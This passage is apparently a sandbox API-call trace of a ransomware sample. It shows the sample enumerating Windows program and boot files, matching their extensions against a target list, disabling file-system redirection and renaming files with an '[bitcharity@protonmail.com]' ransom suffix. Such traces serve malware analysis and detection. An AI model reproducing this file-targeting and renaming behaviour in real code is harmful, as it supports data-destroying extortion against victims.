(x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\optimize_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.116] CloseHandle (hObject=0x11a8) returned 1 [0285.116] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.117] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.117] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\optimize_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\optimize_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.117] CloseHandle (hObject=0x11a8) returned 1 [0285.118] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.118] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.118] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\organize_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\organize_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.118] CloseHandle (hObject=0x11a8) returned 1 [0285.119] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.119] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\organize_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\organize_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.119] CloseHandle (hObject=0x11a8) returned 1 [0285.120] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.120] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.120] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\protect_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\protect_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.120] CloseHandle (hObject=0x11a8) returned 1 [0285.121] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.121] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.121] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\protect_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\protect_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.121] CloseHandle (hObject=0x11a8) returned 1 [0285.122] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.122] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.122] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\redact_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\redact_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.123] CloseHandle (hObject=0x11a8) returned 1 [0285.123] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.123] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.123] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\redact_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\redact_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.278] CloseHandle (hObject=0x11a8) returned 1 [0285.561] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.561] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\scan_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\scan_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.561] CloseHandle (hObject=0x108c) returned 1 [0285.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706b20 | out: hHeap=0x630000) returned 1 [0285.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdcb0 | out: hHeap=0x630000) returned 1 [0285.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3243a08 | out: hHeap=0x630000) returned 1 [0285.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3253a10 | out: hHeap=0x630000) returned 1 [0285.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3b30020 | out: hHeap=0x630000) returned 1 [0285.566] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706868 | out: hHeap=0x630000) returned 1 [0285.566] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9c28 [0285.566] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9c28, Size=0x20) returned 0x3f64898 [0285.566] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9da8 [0285.566] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9da8, Size=0x20) returned 0x3f646e0 [0285.566] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.566] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.566] Wow64DisableWow64FsRedirection (in: OldValue=0x265ff50 | out: OldValue=0x265ff50*=0x1) returned 1 [0285.566] lstrlenW (lpString="kernel32.dll") returned 12 [0285.566] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f646e0 | out: hHeap=0x630000) returned 1 [0285.566] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.566] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64898 | out: hHeap=0x630000) returned 1 Thread: id = 2565 os_tid = 0x26c0 [0241.173] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x31d0048 [0241.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x31e0050 [0241.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7065c8 [0241.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6cdc70 [0241.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706838 [0241.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x32d5020 [0241.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7065e0 [0241.178] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7065e0, Size=0x20) returned 0x6e4018 [0241.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7067a8 [0241.178] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7067a8, Size=0x20) returned 0x6e4220 [0241.178] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0241.179] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0241.179] Wow64DisableWow64FsRedirection (in: OldValue=0x279ff50 | out: OldValue=0x279ff50*=0x0) returned 1 [0241.179] lstrlenW (lpString="kernel32.dll") returned 12 [0241.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e4018 | out: hHeap=0x630000) returned 1 [0241.179] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0241.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e4220 | out: hHeap=0x630000) returned 1 [0241.179] Sleep (dwMilliseconds=0x64) [0241.544] Sleep (dwMilliseconds=0x64) [0241.823] Sleep (dwMilliseconds=0x64) [0242.224] Sleep (dwMilliseconds=0x64) [0242.569] Sleep (dwMilliseconds=0x64) [0242.844] Sleep (dwMilliseconds=0x64) [0243.161] lstrcmpiW (lpString1=".p7b", lpString2=".com") returned 1 [0243.161] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0243.161] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.163] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=4662) returned 1 [0243.163] CloseHandle (hObject=0x112c) returned 1 [0243.164] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0243.164] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.164] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.164] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0243.164] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0243.164] lstrlenW (lpString=".doc") returned 4 [0243.164] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0243.164] lstrlenW (lpString=".docx") returned 5 [0243.164] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0243.164] lstrlenW (lpString=".pdf") returned 4 [0243.164] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0243.164] lstrlenW (lpString=".xls") returned 4 [0243.164] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0243.165] lstrlenW (lpString=".xlsx") returned 5 [0243.165] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0243.165] lstrlenW (lpString=".ppt") returned 4 [0243.165] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0243.165] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0243.165] lstrlenW (lpString=".zip") returned 4 [0243.165] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0243.165] lstrlenW (lpString=".rar") returned 4 [0243.165] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0243.165] lstrlenW (lpString=".bz2") returned 4 [0243.165] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0243.165] lstrlenW (lpString=".7z") returned 3 [0243.165] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0243.165] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0243.165] lstrlenW (lpString=".dbf") returned 4 [0243.165] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0243.165] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0243.165] lstrlenW (lpString=".1cd") returned 4 [0243.165] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0243.166] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0243.166] lstrlenW (lpString=".jpg") returned 4 [0243.166] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0243.166] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0243.166] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0243.166] lstrlenW (lpString=".doc") returned 4 [0243.166] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0243.166] lstrlenW (lpString=".docx") returned 5 [0243.166] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0243.166] lstrlenW (lpString=".pdf") returned 4 [0243.166] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0243.166] lstrlenW (lpString=".xls") returned 4 [0243.166] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0243.166] lstrlenW (lpString=".xlsx") returned 5 [0243.166] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0243.166] lstrlenW (lpString=".ppt") returned 4 [0243.166] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0243.167] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0243.167] lstrlenW (lpString=".zip") returned 4 [0243.167] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0243.167] lstrlenW (lpString=".rar") returned 4 [0243.167] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0243.167] lstrlenW (lpString=".bz2") returned 4 [0243.167] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0243.167] lstrlenW (lpString=".7z") returned 3 [0243.167] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0243.167] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0243.167] lstrlenW (lpString=".dbf") returned 4 [0243.167] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0243.167] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0243.167] lstrlenW (lpString=".1cd") returned 4 [0243.167] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0243.167] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0243.167] lstrlenW (lpString=".jpg") returned 4 [0243.167] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0243.168] Sleep (dwMilliseconds=0x64) [0243.593] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0243.593] lstrlenW (lpString="keypad.xml") returned 10 [0243.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.719] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=693) returned 1 [0243.719] CloseHandle (hObject=0x112c) returned 1 [0243.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0243.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0243.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0243.720] lstrlenW (lpString=".doc") returned 4 [0243.720] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.720] lstrlenW (lpString=".docx") returned 5 [0243.720] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0243.720] lstrlenW (lpString=".pdf") returned 4 [0243.720] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.720] lstrlenW (lpString=".xls") returned 4 [0243.720] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.720] lstrlenW (lpString=".xlsx") returned 5 [0243.720] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0243.720] lstrlenW (lpString=".ppt") returned 4 [0243.720] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0243.720] lstrlenW (lpString=".zip") returned 4 [0243.720] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.720] lstrlenW (lpString=".rar") returned 4 [0243.720] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.720] lstrlenW (lpString=".bz2") returned 4 [0243.720] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.721] lstrlenW (lpString=".7z") returned 3 [0243.721] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0243.721] lstrlenW (lpString=".dbf") returned 4 [0243.721] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0243.721] lstrlenW (lpString=".1cd") returned 4 [0243.721] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0243.721] lstrlenW (lpString=".jpg") returned 4 [0243.721] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0243.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0243.721] lstrlenW (lpString=".doc") returned 4 [0243.721] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.721] lstrlenW (lpString=".docx") returned 5 [0243.721] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0243.721] lstrlenW (lpString=".pdf") returned 4 [0243.721] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.721] lstrlenW (lpString=".xls") returned 4 [0243.721] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.721] lstrlenW (lpString=".xlsx") returned 5 [0243.721] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0243.721] lstrlenW (lpString=".ppt") returned 4 [0243.721] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0243.721] lstrlenW (lpString=".zip") returned 4 [0243.722] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.722] lstrlenW (lpString=".rar") returned 4 [0243.722] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.722] lstrlenW (lpString=".bz2") returned 4 [0243.722] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.722] lstrlenW (lpString=".7z") returned 3 [0243.722] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0243.722] lstrlenW (lpString=".dbf") returned 4 [0243.722] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0243.722] lstrlenW (lpString=".1cd") returned 4 [0243.722] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0243.722] lstrlenW (lpString=".jpg") returned 4 [0243.722] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.722] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0243.722] lstrlenW (lpString="base.xml") returned 8 [0243.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.732] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=3333) returned 1 [0243.732] CloseHandle (hObject=0x112c) returned 1 [0243.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0243.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0243.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0243.733] lstrlenW (lpString=".doc") returned 4 [0243.733] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.733] lstrlenW (lpString=".docx") returned 5 [0243.733] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0243.733] lstrlenW (lpString=".pdf") returned 4 [0243.733] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.733] lstrlenW (lpString=".xls") returned 4 [0243.733] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.733] lstrlenW (lpString=".xlsx") returned 5 [0243.733] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0243.733] lstrlenW (lpString=".ppt") returned 4 [0243.733] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0243.733] lstrlenW (lpString=".zip") returned 4 [0243.733] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.733] lstrlenW (lpString=".rar") returned 4 [0243.733] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.733] lstrlenW (lpString=".bz2") returned 4 [0243.733] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.733] lstrlenW (lpString=".7z") returned 3 [0243.734] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0243.734] lstrlenW (lpString=".dbf") returned 4 [0243.734] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0243.734] lstrlenW (lpString=".1cd") returned 4 [0243.734] 